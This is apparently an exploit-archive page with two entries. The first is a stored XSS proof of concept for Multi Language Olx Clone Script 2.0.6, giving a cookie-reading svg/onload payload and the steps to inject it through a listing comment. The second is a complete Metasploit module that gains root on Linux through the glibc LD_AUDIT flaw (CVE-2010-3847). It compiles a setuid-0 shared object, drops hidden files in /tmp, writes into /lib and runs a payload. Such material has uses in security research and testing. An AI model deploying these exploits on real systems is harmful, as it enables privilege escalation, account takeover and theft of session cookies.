Multi Language Olx Clone Script version 2.0.6 suffers from a persistent cross site scripting vulnerability.


MD5 | f5303b02545e56876afd1f56c5992390

######################################################################################
# Exploit Title: Multi Language Olx Clone Script - Stored XSS
# Date: 08.02.2018
# Exploit Author: Varun Bagaria
# Web:
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/olx-clone/
# Category: Web Application
# Version:2.0.6
# Tested on: Windows 7
# CVE: NA
#######################################################################################

Proof of Concept
=================
URL: https://www.phpscriptsmall.com/product/olx-clone/
Attack Vector : Comment
Payload : <svg/onload=alert(document.cookie)>

Reproduction Steps:
------------------------------
1.Access the above URL
2. Click on "User Demo:
3. Application will be redirected to http://under24usd.com/demo/classi/
4. Goto "Register" and Create a New User
5. Now Login into the application and Click on any :Listing"
6. Click on "Comment" -> "Leave Comment" and inject <svg/onload=alert(document.cookie)>
7. Persistent XSS will be executed.


glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation

$
0
0

This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user. This Metasploit module uses LD_AUDIT to load the libpcprofile.so shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually /lib). The file is then overwritten with a shared object then loaded with LD_AUDIT resulting in arbitrary code execution. This Metasploit module has been tested successfully on glibc version 2.11.1 on Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. RHEL 5 is reportedly affected, but untested. Some glibc distributions do not contain the libpcprofile.so library required for successful exploitation.


MD5 | 2bf9e1106acf9e1f0a7b618fe7f2da3f

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux

def initialize(info = {})
super(update_info(info,
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.

glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables. This allows loading arbitrary shared objects from
the trusted library search path with the privileges of the suid user.

This module uses LD_AUDIT to load the libpcprofile.so shared object,
distributed with some versions of glibc, and leverages arbitrary file
creation functionality in the library constructor to write a root-owned
world-writable file to a system trusted search path (usually /lib).
The file is then overwritten with a shared object then loaded with
LD_AUDIT resulting in arbitrary code execution.

This module has been tested successfully on glibc version 2.11.1 on
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

RHEL 5 is reportedly affected, but untested. Some glibc distributions
do not contain the libpcprofile.so library required for successful
exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
'Todor Donev', # libmemusage.so exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'CVE', '2010-3856' ],
[ 'BID', '44154' ],
[ 'BID', '44347' ],
[ 'EDB', '15274' ],
[ 'EDB', '15304' ],
[ 'EDB', '18105' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.to_s.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"

lib = 'libpcprofile.so'
@lib_dir = nil
vprint_status "Checking for #{lib} in system search paths"
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
search_paths.split('path=')[1..-1].join.split(':').each do |path|
lib_dir = path.to_s.strip
next if lib_dir.eql? ''
libs = cmd_exec "ls '#{lib_dir}'"
if libs.include? lib
@lib_dir = lib_dir
break
end
end
if @lib_dir.nil?
vprint_error "Could not find #{lib}"
return CheckCode::Safe
end
vprint_good "Found #{lib} in #{@lib_dir}"

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def on_new_session(client)
# remove root owned shared object from system load path
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @so_path
else
client.shell_command_token "rm #{@so_path}"
end
end

def exploit
check_status = check

if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"

# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|

begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so

# Upload exploit
@so_path = "#{@lib_dir}/#{so_name}.so"
exp = %(
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
umask 0022
cat #{so_path} > #{@so_path}
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
echo > #{@so_path}
)
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp

# Upload payload
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end

Viewing all 13315 articles
Browse latest View live